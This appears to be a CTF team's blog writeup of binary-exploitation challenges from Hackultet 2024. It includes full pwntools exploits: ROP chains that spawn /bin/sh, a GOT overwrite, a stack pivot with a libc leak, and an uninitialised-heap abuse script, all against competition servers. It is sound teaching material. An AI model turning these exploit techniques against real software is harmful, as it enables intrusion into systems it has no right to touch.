Home » Blog

Hackultet

 · 62 min · NullDev

Hackultet is a CTF event organized by FER and CARNET for college students

karlo_kajba_simanic karlo_smircic toni_kukec teo_vozila frane_livic

About Hackultet

Hackultet is a CTF competition organizFed by the Croatian Academic and Research Network (CARNET) and the Faculty of electrical engineering and computing (FER).

It’s a part of the national qualifications for this years ECSC in Torino, Italy

In the end, we got a solid 2nd place, with two challenges unsolved.

Here’s a list of the top 5 spots:

1  /dev/null         6000
2  null              5400
3  gospoda           5125
4  Božidari          5125
5  Hackstreet Boys   4675

This writeup includes two guest writeups by the teams /dev/null and Božidari for the challenges we couldn’t solve.

We wanted this to be a complete resource for anyone interested in learning CTF’s, and we’re thankful we can share their amazing writeups with you

Walkthrough

Binary exploitation

Broj

Opis https://hackultet.hr/challenges#Broj-8

Marko zna puno o brojevima, no ima poteškoća sa zadatkom. Možeš li mu pomoći?> Spoji se na servis naredbom netcat

nc chal.hackultet.hr 13017

It’s asking for a float a that returns false for the check (a <= 0 || a > 0).

A simple NaN is enough to get the flag:

$ echo "NaN" | nc chal.hackultet.hr 13017
CTF2024[491634754943]

Utrka 1/2

Možeš li pobijediti utrku?

nc chal.hackultet.hr 13015

We are given a zip file with the binary, source and some ASCII art.

Utrka 1 requires just calling a function (win()), and Utrka 2 requires getting a shell on the remote server.

I had some issues with the win() function segfaulting even when called directly from gdb, so I solved both parts at the same time with a shell.

Getting a shell

For a shell, we need a ROP chain with a few things, explained beautifully in this article:

https://book.hacktricks.xyz/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv

In order to prepare the call for the syscall it’s needed the following configuration:

  • rax: 59 Specify sys_execve
  • rdi: ptr to “/bin/sh” specify file to execute
  • rsi: 0 specify no arguments passed
  • rdx: 0 specify no environment variables passed

Simple and straight to the point, but we can do better.

  • find the “/bin/sh” string in memory and write it’s address to rdi
  • call system()
  • profit

So how do we do that?

How to do that

Firstly, to find the offset, let’s check out what we input and where:

// main.c #28
    char progress[232] = {0};
    for (int i = 0;i<3;i++){
        printTrack(strlen(progress)/5,i*23);
	    fflush(stdout);
        fgets(progress+strlen(progress),101,stdin);
    }

The 3 calls to fgets allow us to write a total of 300 bytes, 68 bytes past the buffer.

To find the stack offset, we use the cyclic tool provided by pwntools:

# cyclic from pwntools
$ cyclic 300 | ./utrka; 
You lose :(
[1]    227310 done                              cyclic 300 |
       227311 segmentation fault (core dumped)  ./utrka

$ sudo dmesg -t | tail                                                                          139traps: utrka[228617] general protection fault ip:4019f7 sp:7fffffffd7b8 error:0 in utrka[401000+99000]
# oops we overwrote too much

$ cyclic 270 | ./utrka || sudo dmesg -t | tail;
You lose :(
[1]    229685 done                              cyclic 270 |
       229686 segmentation fault (core dumped)  ./utrka

utrka[229686]: segfault at 617263616171 ip 0000617263616171 sp 00007fffffffd7c0 error 14 likely on CPU 4(core 4, socket 0)
Code: Unable to access opcode bytes at 0x617263616147.

$ cyclic -l 0x617263616171
264

So we need 264 bytes of padding, and then we have ~38 bytes for our rop chain.

That’s not a lot of space. (Not enough to setup the call to execve)

The primitives we need are:

  • the string /bin/sh
  • a way to write its adress into rdi
  • and the address of system
$ rz-bin -z utrka | grep "/bin/sh"
55   0x0009b005 0x0049b005 7   8    .rodata ascii   /bin/sh

It’s at 0x49b005 when virtually mapped with PIE disabled.

We can write it into rdi with a pop rdi gadget:

$ ROPgadget --binary utrka |  grep "pop rdi ; ret"
0x00000000004880fb : add al, ch ; pop rdi ; retf 0xfff7
0x000000000040256f : pop rdi ; ret
0x00000000004880fd : pop rdi ; retf 0xfff7

And because we have the entirety of statically linked libc at our disposal, we have a ton of useful gadgets. (ROPGadget finds 41k gadgets, it’s amazing)

The function system() is also statically linked, we can find it with:

$ nm utrka | grep system
000000000040ba00 t do_system
000000000040be70 T __libc_system
000000000040be70 W system
00000000004b0940 r system_dirs

We’ll also need some padding (https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/stack-alignment)

ROPgadget --binary utrka | grep ": ret$"
0x000000000040101a : ret

Now we have everything we need to do a proper ROP chain:

from pwn import *

#b = process("./utrka")
b = remote("chal.hackultet.hr", "13015")

p = b'a'*264 # padding

p += p64(0x40256f) # pop rdi; ret gadget
p += p64(0x49b005) # /bin/sh

p += p64(0x40101a) # ret for padding the call to system

p += p64(0x40be70) # system
p += b"\x00\x00\x00\x00\x00\x00\x00\x00" # some more padding
# the additional padding is not strictly needed, but it makes the program behave better

b.send(p)
b.interactive()

And then we can get both the flags:

$ py exp.py

$ ls
busybox
flag.txt
opponentCar.txt
systemOwnFlag.txt
track.txt
utrka
yourCar.txt

$ cat flag.txt
CTF2024[395847397764]

$ cat systemOwnFlag.txt
CTF2024[223653716405]

Bitka - guest writeup from team Božidari

Many thanks to the team Božidari for writing up this challenge we couldn’t solve

Vitez, čarobnjak ili strijelac… Tko će pobijediti?

nc chal.hackultet.hr 13018

We are given an exploit template script and a ZIP file with the binary, source, some ASCII art text files, libc and the ld-linux linker. Most of these files weren’t useful other than the binary and the source (duh…).

The goal here is to somehow call the trueWinner function that reads the flag and prints it out.

Looking at the source, we notice that the only overflow we have is the char* background in the combatant struct. During allocation, it’s initialized with the size of 64 bytes, but inputting allows for 150 bytes. Unfortunately, this overflow is on the heap, which makes ROP a little difficult.

We can notice that the structs and the char* background fields are allocated one after another, meaning that the rough memory layout will look like this.

|--------------------------|
| combatant1 (32 bytes)    |
|--------------------------|
| combatant1->background    |
| (64 bytes)               |
|--------------------------|
| combatant2 (32 bytes)    |
|--------------------------|
| combatant2->background   |
| (64 bytes)               |
|--------------------------|

This allows us to write into the combatant2 fields by overflowing combatant1->background. That being said, we can overwrite the pointer that the combatant2->background points to, meaning that afterwards it will no longer point to the address on the heap given by malloc, but to some other address we want it to point at which then we can write to during creation of combatant2. >:)

The solution here is to take one of the addresses in the GOT (Global offset table) and write to it. The GOT is just a place in the ELF binary that maps to addresses of some libc functions used in the program. It looks something like this:

[0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e20a60
[0x404020] fclose@GLIBC_2.2.5 -> 0x401040
[0x404028] __stack_chk_fail@GLIBC_2.4 -> 0x401050
[0x404030] printf@GLIBC_2.2.5 -> 0x401060
[0x404038] fgetc@GLIBC_2.2.5 -> 0x401070
[0x404040] srand@GLIBC_2.2.5 -> 0x401080
[0x404048] fgets@GLIBC_2.2.5 -> 0x401090
[0x404050] strcmp@GLIBC_2.2.5 -> 0x4010a0
[0x404058] feof@GLIBC_2.2.5 -> 0x4010b0
[0x404060] time@GLIBC_2.2.5 -> 0x4010c0
[0x404068] tolower@GLIBC_2.2.5 -> 0x4010d0
[0x404070] malloc@GLIBC_2.2.5 -> 0x7ffff7e44920
[0x404078] fflush@GLIBC_2.2.5 -> 0x7ffff7e1e760
[0x404080] fopen@GLIBC_2.2.5 -> 0x401100
[0x404088] __isoc99_scanf@GLIBC_2.7 -> 0x401110
[0x404090] fwrite@GLIBC_2.2.5 -> 0x401120
[0x404098] sleep@GLIBC_2.2.5 -> 0x7ffff7e9ca90
[0x4040a0] rand@GLIBC_2.2.5 -> 0x401140

For our exploit, we decided to overwrite the location of the rand function, so that when it’s called in battle, it will not jump to rand from libc, but to trueWinner. Now, the steps are pretty simple, during creation of combatant1, we need to put in arbitrary values for the name, class and age. Then for the background, we can write values until we get to wherever combatant2->background is and write 0x4040a0 into it. The pointer will now point to 0x4040a0 and during creation of combatant2 we just have to enter 0x401813 while writing to background, which now points to the GOT entry for rand instead of somewhere in the heap.

Full exploit script is this:

from pwn import *

p = remote("chal.hackultet.hr", 13018)
#p = proccess("./bitka")

elf = ELF("./bitka", checksec = False)

rand_got = p64(elf.got["rand"])

win_addr = p64(elf.sym["trueWinner"])

payload = b"a\nvitez\n10\n";
payload += b"a" * 104 + rand_got + b"\n"
payload += b"a\nvitez\n10\n"
payload += win_addr + b"\n"

p.send(payload)

p.interactive()

The b"a" * 104 is there because the distance between the char* background from combatant1 and combatant2 is 104 (64 bytes of first background, 16 bytes of malloc header and 24 bytes of the second struct). And then after we run it:

... random program output ...
Bitka zapocinje.
Chin, pft, plow...
CTF2024[648369071467]Bitka je bila duga i teska, ali na vrhu jest ostao a

      _,.
    ,` -.)
   ( _/-\\-._
  /,|`--._,-^|            ,
  \_| |`-._/||          ,'|
    |  `-, / |         /  /
    |     || |        /  /
     `r-._||/   __   /  /
 __,-<_     )`-/  `./  /
'  \   `---'   \   /  /
    |           |./  /
    /           //  /
\_/' \         |/  /
 |    |   _,^-'/  /
 |    , ``  (\/  /_
  \,.->._    \X-=/^
  (  /   `-._//^`
   `Y-.____(__}
    |     {__)
          ()
\xff_2\xa5\x7f
[*] Got EOF while reading in interactive
$

Voila, the flag is CTF2024[648369071467]

ZEN - guest writeup from the winners (/dev/null)

This writeup was generously sent to us by the team /dev/null, who were the only ones to solve this challenge during the competition

Automatizirani sustav za testiranje sigurnosti koda je detektirao korištenje nesigurnih funkcija u kodu ovog servisa. Možeš li iskoristiti ranjivost?

nc chal.hackultet.hr 13014

As part of the challenge we are given a simple c file, an executable binary and a libc file.

#include <stdio.h>

char padding[3000];
char array[100];

int func(int a);
void vuln();

int main(int argc, char const *argv[])
{   
    puts("Welcome");
    fgets(array,100,stdin);
    func(50);
    puts("Goodbye");
    return 0;
}

int func(int a){
    vuln();
    return a + 10;
}

void vuln(){
    long longs[6];
    fgets(longs,56,stdin);
}

What we are exploiting

As seen in the code the vuln function has a bug where it reads in 56 bytes of user input into a buffer of 48 bytes (long is 8B on a linux 64bit system). That means we can overwrite 8 bytes after the longs buffer. The 8 bytes following the buffer contain the saved address of the rbp register so that is the only thing we can overwrite. So how do we utilize that? As it turns out every function in x86 ends with a function epilogue that collapses the stack frame by first moving the base pointer into the stack pointer and then restoring the old base pointer value from the stack. This way the stack pointer and base pointer now once again point to the previous frame.

// Function epilogue
mov rsp, rbp;
pop rbp;
ret;

We can use this to our advantage by overwritting the value that is stored on the stack for the rbp register. Notice that as stack frames collapse the value of rbp gets put into the stack pointer and can control what value ends up in the base pointer. That means we can control the value that ends up in the stack pointer effectively changing where the stack of the program is. We will redirect the stack to memory we control and populate that memory with our ROP chain. This technique is called “stack pivoting” and is used when there is not enough space on the stack to put our ROP chain.

Now the “only” thing left is writing the ROP chain.

Writting the ROP chain

If we run the checksec command on our binary we will see it has no canaries or PIE. We can also see that libc is dynamically linked to the binary so it will be subject to ASLR. As we want to run some code from libc (system) we first need to leak the address where libc is located. The normal way to do this is take a gadget that loads something into the rdi register and load a value from the GOT into it. The GOT is a table that is used by the dynamic linker and is populated at runtime with the addresses of libc functions. As the GOT is part of the binary itself it is not subject to ASLR only PIE but since PIE is disabled we know where that table is at all times. So what we would normally do is find a pop rdi; ret; gadget and use puts to leak an address using the GOT. However in this binary there is no pop rdi gadget. There is also no other gadget that simply allows us to write to the rdi register. So what now? Well can try to exploit the binaries own code in the true spirit of ROP. So there are two calls to puts in the binary. I chose the second one for the exploit as there is a ret instruction close to it.

# in func
   0x00000000004011cf <+25>:    mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004011d2 <+28>:    add    eax,0xa
   0x00000000004011d5 <+31>:    leave
   0x00000000004011d6 <+32>:    ret

# in main
   0x000000000040119b <+69>:    call   0x4011b6 <func>
   0x00000000004011a0 <+74>:    lea    rax,[rip+0xe65]        # 0x40200c
   0x00000000004011a7 <+81>:    mov    rdi,rax
   0x00000000004011aa <+84>:    call   0x401050 <puts@plt>

If you take a look at the disassebly above you can see that if we can control rax we can control what is printed out by puts. Also notice how in the func function there is code that sets rax based only on the value of rbp. Lucky for use there is a pop rbp; ret; gadget in the binary. This means we will set rbp to a value of some memory - 4 (memory we control) and at that memory we’re gonna put the address of the thing we want printed out - 0xa. Lets take a look at the exploit to do that:

from pwn import *

context.binary = elf = ELF("./file")
rop = ROP(elf)
libc = ELF("./libc.so.6")
rop_libc = ROP(libc)
ld = ELF("./ld-linux-x86-64.so.2")
# Pwntools allows us to call the binary with the libc provided in the challenge
io = process([ld.path, elf.path], env={"LD_PRELOAD": libc.path})
# io = remote("chal.hackultet.hr", 13014)


# Exploit part 1
offset = 48

puts = p64(elf.plt['puts'])
fgets = p64(elf.plt['fgets'])
func_set_eax = p64(0x4011cf)
pop_rbp = p64(0x000000000040113d)

rbp = p64(elf.sym.array + 36)
got_leak = elf.got['puts'] - 0xa
saved_rbp = p64(0x7ffdde6a4600)
main_call_puts = p64(0x00000000004011a7)

array_payload = b"B" * 8 + pop_rbp + rbp + func_set_eax + p64(got_leak) + b"E" * 4 + pop_rbp + p64(elf.sym.array + 64) + main_call_puts + b"E" * 4 + pop_rbp + saved_rbp + p64(elf.sym.main)
overflow_payload = b"A" * offset + p64(elf.sym.array)

io.recvuntil(b"Welcome\n")
io.sendline(array_payload)
io.send(overflow_payload[:len(overflow_payload) - 1])

Our ROP chain is located in the array_payload variable and we can see that it sets rbp to some memory inside the array and that calls the gadget that sets eax to the desired value (in this case got[‘puts’] - 0xa). After that is done we need to restore rbp to some normal value otherwise the program will crash and finally we can call puts. This puts call will leak a memory address inside libc effectively bypassing ASLR.

Okay we have the leak what now?

Now the idea is to start the program again, so we can exploit it again, but time we know the address of libc and can change the array ROP chain to something that calls system("/bin/sh"). We accomplish this by adding the last part of the array payload above (p64(elf.sym.main)) which means the ROP chain at the end just jumps to the start of main, starting execution once again.

# Exploit part 2
libc_leak_got_puts = u64(io.recvuntil(b'\n').strip().ljust(8, b'\x00'))
puts_offset = libc.symbols['puts']
libc.address = libc_leak_got_puts - puts_offset
system_addr = p64(libc.symbols['system'])

pop_rdi = p64(libc.address + rop_libc.find_gadget(['pop rdi', 'ret'])[0])
bin_sh = p64(next(libc.search(b'/bin/sh')))

print(hex(u64(pop_rdi)))
print(hex(u64(bin_sh)))
print(hex(u64(system_addr)))

array_payload2 = b"A" * 16 + pop_rdi + bin_sh + system_addr
overflow_payload2 = b"A" * offset + p64(elf.sym.array)

io.sendline(array_payload2)
io.send(overflow_payload2[:len(overflow_payload) - 1])

io.interactive()

Now in the second part of the exploit we’re exploiting the program in the same way again but this time the ROP chain inside array_payload is changed to insted call system("/bin/sh"). Pwntools is really helpful here as it can take the leak puts prints out and if you take that leak and calucate with it the base address of libc you can set the libc address inside pwntools to that value and pwntools will automatically recalibrate all addresses in libc to fit where your libc is in memory. After we know where libc is we can use it to look for gadgets and easily find a gadget that sets the value of the rdi register.

You can see the final exploit here:

from pwn import *

context.binary = elf = ELF("./file")
rop = ROP(elf)
libc = ELF("./libc.so.6")
rop_libc = ROP(libc)
ld = ELF("./ld-linux-x86-64.so.2")
io = process([ld.path, elf.path], env={"LD_PRELOAD": libc.path})
# io = remote("chal.hackultet.hr", 13014)

offset = 48

puts = p64(elf.plt['puts'])
fgets = p64(elf.plt['fgets'])
func_set_eax = p64(0x4011cf)
pop_rbp = p64(0x000000000040113d)

rbp = p64(elf.sym.array + 36)
leak = elf.got['puts'] - 0xa
saved_rbp = p64(0x7ffdde6a4600)
main_call_puts = p64(0x00000000004011a7)

array_payload = b"B" * 8 + pop_rbp + rbp + func_set_eax + p64(leak) + b"E" * 4 + pop_rbp + p64(elf.sym.array + 64) + main_call_puts + b"E" * 4 + pop_rbp + saved_rbp + p64(elf.sym.main)
overflow_payload = b"A" * offset + p64(elf.sym.array)

io.recvuntil(b"Welcome\n")
io.sendline(array_payload)
io.send(overflow_payload[:len(overflow_payload) - 1])

libc_leak_got_puts = u64(io.recvuntil(b'\n').strip().ljust(8, b'\x00'))
puts_offset = libc.symbols['puts']
libc.address = libc_leak_got_puts - puts_offset
system_addr = p64(libc.symbols['system'])

pop_rdi = p64(libc.address + rop_libc.find_gadget(['pop rdi', 'ret'])[0])
bin_sh = p64(next(libc.search(b'/bin/sh')))

print(hex(u64(pop_rdi)))
print(hex(u64(bin_sh)))
print(hex(u64(system_addr)))

array_payload2 = b"A" * 16 + pop_rdi + bin_sh + system_addr
overflow_payload2 = b"A" * offset + p64(elf.sym.array)

io.sendline(array_payload2)
io.send(overflow_payload2[:len(overflow_payload) - 1])

io.interactive()

There are different offset at random parts of this exploit. These are here because they are needed to align everything nicely in memory. They were found mostly through trial and error and for that process a debugger is necessary. I used pwndbg for this challege and i would recommend anyone that wants to learn more about exploitation to learn how to use pwndbg. Pwntools also has a neat feature where you can attach gdb straight from pwntools and open it in a side by side window to see what is going on as you run the exploit.

# How to open up the side by side view of gdb and pwntools
# For this to work your terminal needs to be in a tmux session
context.terminal = ["tmux", "splitw", "-h"]
gdb.attach(io, """
	<gdb commands can go in here>   
""")

If you run this exploit against the remote server you should get a shell on the server.

Flag: CTF2024[568349016394]

Karte

Anja je napravila kartašku igru, no nešto nije u redu…

nc chal.hackultet.hr 13016

Lets see what the task is about first:

$ nc chal.hackultet.hr 13016                                                                                                                                                                               130Dobrodosli! Odaberite opciju:
1) Opis igre
2) Zapocni igru
1
Opis igre

Bit ce vam dano 7 karata sa slucajno odabranim znakovima od 13 mogucih iz standardnog 52-kartaskog spila. Boje pik, herc, karo
i tref nece biti zadane. Broj karata u spilu jest beskonacan.

Vas cilj jest sakupiti 7 razlicitih najjacih karti. Slijed snage karata jest isti kao i u standardnom spilu, gdje je dvojka (2) najslabija.

Dane su vam 3 opcije jednom kada igra zapocne: premjesti, ukloni te vuci.
Opciju birate unosom odgovarajuceg broja (1 za premjesti, 2 za ukloni i 3 za vuci).
Odabirom 1. opcije premjesti, mozete premjestiti pozicije dviju karata vaseg odabira (ukljucuje prazne pozicije).
Da odaberete 2 pozicije, bit ce vam ponuden selektivan unos za 2 broja koji moraju biti odvojeni razmakom.
Druga opcija daje mogucnost uklanjanja karata vaseg odabira iz trenutne ruke. Na mjestu uklonjenih karti preostati ce prazna pozicija.
Treca i posljednja opcija jest opcija vuci. Ako vam trenutna ruka sadrzi manje od 7 karata,prazna pozicija na najnizem indeksu jest popunjena
novom kartom. Ako vam ruka sadrzi 7 karata, karta na indeksu 7 biti ce zamijenjena novom.Medutim, postoji "kvaka".
Ako se odlucite za opciju vuci dok vam ruka sadrzi 7 karata te kartu koju ste izvukli vec imate u ruci, izgubili ste.
Dijalog igre vam nece prikazati koju kartu ste izvukli,ali ne brinite, igra vas nece prevariti :).

*Did you hear about the sticky deck, it was hard to deal with.


 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 6 || Q || K || J || K || 2 || Q |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.

Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci
3
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 6 || Q || K || J || K || 2 || A |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.

And look at the source code:

// karte.c #51
do
{
    while ((input[0] = getchar()) != '\n' && input[0] != EOF);
    printCards();
    puts("Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci");
    scanf("%c", input);
    switch (input[0])
    ...
} while (check() == 1);

// karte.c #199
int check()
{
    for(int i = 0;i<7;i++){
        if (playingCards[i] == NULL)
            return 1;
    }
    int sum = 0;
    for (int i = 0; i < 7; i++)
    {
        for (int j = i + 1; j < 7; j++)
        {
            if (playingCards[i]->value == playingCards[j]->value)
                return 1;
        }
        sum += playingCards[i]->value;
    }
    if (sum == 638)
        return 0;
    else
        return 1;
}

So we need 7 unique cards, that sum to 638.

There’s just one problem:

Python 3.12.3 (main, Apr 23 2024, 09:16:07) [GCC 13.2.1 20240417] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> sum([ord(x) for x in "akqjt98"])
652
>>> sum([ord(x) for x in "akqjt23"])
640
>>> sum([ord(x) for x in "akqj923"])
581

A sum of 638 is impossible to get with the cards available.

(Unless we can break the uniqueness rule, but that doesn’t look possible)

And let’s also run it locally:

$ ./karte
Dobrodosli! Odaberite opciju:
1) Opis igre
2) Zapocni igru
1
[1]    245114 segmentation fault (core dumped)  ./karte

Oops.

If we look at the source, we see it’s trying to read description.txt, so let’s fix that real quick

$ echo "according to all known laws of aviation there is no way a bee should be able to fly" > description.txt
$ ./karte
Dobrodosli! Odaberite opciju:
1) Opis igre
2) Zapocni igru
1
according to all known laws of aviation there is no way a bee should be able to fly

 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| T || 3 || K || 3 || 7 || 4 || T |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.

Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci
3
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| T || 3 || K || 3 || 7 || 4 || O |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.

Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci

Now I was extremely lucky here, and it’s because O is not a valid card.

How did it get pulled then?

We have to look into the source:

$ cppcheck karte.c
Checking karte.c ...
karte.c:111:9: error: Uninitialized struct member: c.value [uninitStructMember]
    if (c->value == 0)
        ^
Active checkers: 40/565

Ooh, fun

// karte.c #108
void draw()
{
    struct card *c = (struct card *)malloc(sizeof(struct card));
    if (c->value == 0)
    {
        c->value = values[rand() % 13];
    }

    for (int i = 0; i < 7; i++)
    {
        if (playingCards[i] == NULL)
        {
            playingCards[i] = c;
            return;
        }
    }
    for (int i = 0; i < 7; i++)
    {
        if (c->value == playingCards[i]->value)
        {
            puts("Kartu koju ste izvukli vec imate u ruci. Izgubili ste :(");
            exit(0);
        }
    }
    playingCards[6] = c;
}

What’s happening here is basically:

  • we allocate a huge buffer for reading description.txt
  • we free it
  • If we pull a card with 7 cards already present, we allocate a space for another card, and read uninitialized data from it
  • repeat step 3 until you get a good character for getting the sum 638

Here’s the script I wrote for it (cleaned up a lot for your convenience):

# breaker.py
from pwn import *
p = remote("chal.hackultet.hr", "13016")
p.sendline(b"1")

p.recvuntil(b"\n\n\n")

def getCards(prt = True):
    if prt:
        print(p.recvline().decode(), end="")
        print(p.recvline().decode(), end="")
        print(a := p.recvline().decode(), end="")
        print(p.recvline().decode(), end="")
        print(p.recvline().decode(), end="")
    else:
        p.recvline()
        p.recvline()
        a = p.recvline().decode()
        p.recvline()
        p.recvline()
    return a

a = getCards()

bad_cards = ['A', 'K', 'J', 'T']
# All the cards you can pull from uninitialized data before
# you pull a char that isn't in 23456789akqjt
# why did you do this Benjamin

if any([x in a for x in bad_cards]):
    print("Got bad cards: ", [(x, x in a) for x in bad_cards])
p.recvuntil(b"Vuci", timeout=1)
# timeout used to prevent locking on stdout

def case3(prt = False): # pull a card
    p.sendline(b"3")
    p.recvline()
    out = getCards(prt)
    p.recvuntil(b"Vuci", timeout=1)
    return out
def caseq(prt = False): # remove last card
    p.sendline(b"2 7") # this works
    p.recvline()
    out = getCards(prt)
    p.recvuntil(b"Vuci", timeout=1)
    return out

while True:
    match input('> '):
        case 'q': caseq(True)
        case '3': case3(True)
        case 'r': # automate getting to the cool char
            while True:
                caseq()
                a = case3()
                if not all([x in '0123456789AKQJT |\n' for x in a]):
                    print([x for x in a if not x in '0123456789AKQJT |\n'])
                    print(a)
                    print("GOOD STUFF")
                    break
                if any([x in a for x in bad_cards]): 
                    print("Pulled a bad card, trying another")
                    print([(x, x in a) for x in bad_cards])
                else:
                    a = case3(True)
                    c = a[32]
                    if not c in '0123456789AKQJT |\n':
                        print("GOT THE THING!!!")
                        print(c)
                        p.interactive()
                        break
        case x: # default case, just send it raw
            p.sendline(x.encode())
            print(p.recvuntil(b"Vuci", timeout=1).decode())

Here’s me running it:

$ py breaker.py                                                                                130[+] Opening connection to chal.hackultet.hr on port 13016: Done
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 5 || 4 || 3 || T || 3 || 7 || Q |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.
Got bad cards:  [('A', False), ('T', True), ('K', False), ('J', False)]
> 2 4 # cleanup

Odaberite indeks karte koju zelite ukloniti
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 5 || 4 || 3 ||   || 3 || 7 || Q |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.

Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci
> 3
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 5 || 4 || 3 || 2 || 3 || 7 || Q |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.
> r
Pulled a bad card, trying another
[('A', False), ('T', False), ('K', True), ('J', False)]
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 5 || 4 || 3 || 2 || 3 || 7 || A |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 5 || 4 || 3 || 2 || 3 || 7 || A |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.


// a bunch of lines cut


___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 5 || 4 || 3 || 2 || 3 || 7 || T |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.
Pulled a bad card, trying another
[('A', False), ('T', False), ('K', False), ('J', True)]
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| 5 || 4 || 3 || 2 || 3 || 7 || * |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.
GOT THE THING!!!
*
[*] Switching to interactive mode

$

From here, you can manually remove/draw cards until you get the hand akqjt9*

Odaberite akciju: 1) Premjesti 2) Ukloni 3) Vuci
$ 3
 ___  ___  ___  ___  ___  ___  ___
|   ||   ||   ||   ||   ||   ||   |
| K || J || A || Q || T || 9 || * |
|___||___||___||___||___||___||___|
  1.   2.   3.   4.   5.   6.   7.

⣿⣿⡿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢿⣿⣿⣿
⣿⣿⡀⠀⠀⢸⣿⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⢻⣿⠏⠀⠀⠹⣿⣿
⣿⣿⣷⣄⣰⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⠙⠻⢿⣿⣿⣿⣦⣄⣠⣴⣿⣿
⣿⣿⣿⡟⣿⣿⣿⣿⣿⣿⣧⡈⠁⠀⠉⠉⠉⠁⢸⣿⣿⣿⣿⡟⢻⣿⣿⣿
⣿⣿⣿⡇⣿⣿⡿⠋⠉⢤⡹⣿⣿⠀⠠⠀⠀⠀⢹⣿⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣷⠀⠚⡪⠴⠿⠿⠀⠠⠁⣠⣄⠘⠿⠿⠛⢿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⡄⠀⠉⠀⠀⠀⠀⠀⠀⠙⠻⣷⣇⢸⠬⠂⡇⢸⣿⣿⣿
⣿⣿⣿⡇⡟⠋⠙⣷⣤⣤⡄⠀⠀⠀⠀⠀⠀⠀⠞⠛⠈⠂⠀⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣷⡐⢋⢘⣿⣿⠇⠀⠀⠀⠀⢀⣄⡀⢀⡠⠂⠻⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣷⣶⡿⠋⠁⠀⠀⠀⠀⠀⠸⣿⣿⡟⠕⠡⢎⣼⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣤⠊⠀⠀⢀⠀⠀⠀⠀⢻⣿⣏⠴⢲⢸⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⡿⠁⠀⠀⣤⣾⡀⠀⠀⢀⢀⣸⣿⡜⢚⣣⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣷⣤⡀⠀⠈⠻⢿⡄⠀⠸⣿⢏⠄⠈⢻⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣿⣿⣶⠀⠀⠈⠁⠀⢠⣧⡐⠐⣱⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⠟⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣿⣿⣁⣠⠄⠀⠠⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣤⣿⢿⣿⣿⣿⣿⣿⣿⢸⣿⣿⣿
⣿⣿⣿⣇⣿⣿⣿⣿⡿⠇⠀⠠⠀⠀⠀⠀⠆⠀⢼⣿⣿⣿⣿⣿⣸⣿⣿⣿
⣿⣿⣿⠟⠻⣿⣿⣿⣿⣶⣿⣶⣷⣶⣶⣶⣶⣷⣾⣿⣿⣿⣿⡟⠻⣿⣿⣿
⣿⣿⠋⠀⠀⠙⣿⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣛⣻⣿⡋⠀⠀⠙⣿⣿
⣿⣿⣦⣄⣠⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄⣠⣾⣿⣿
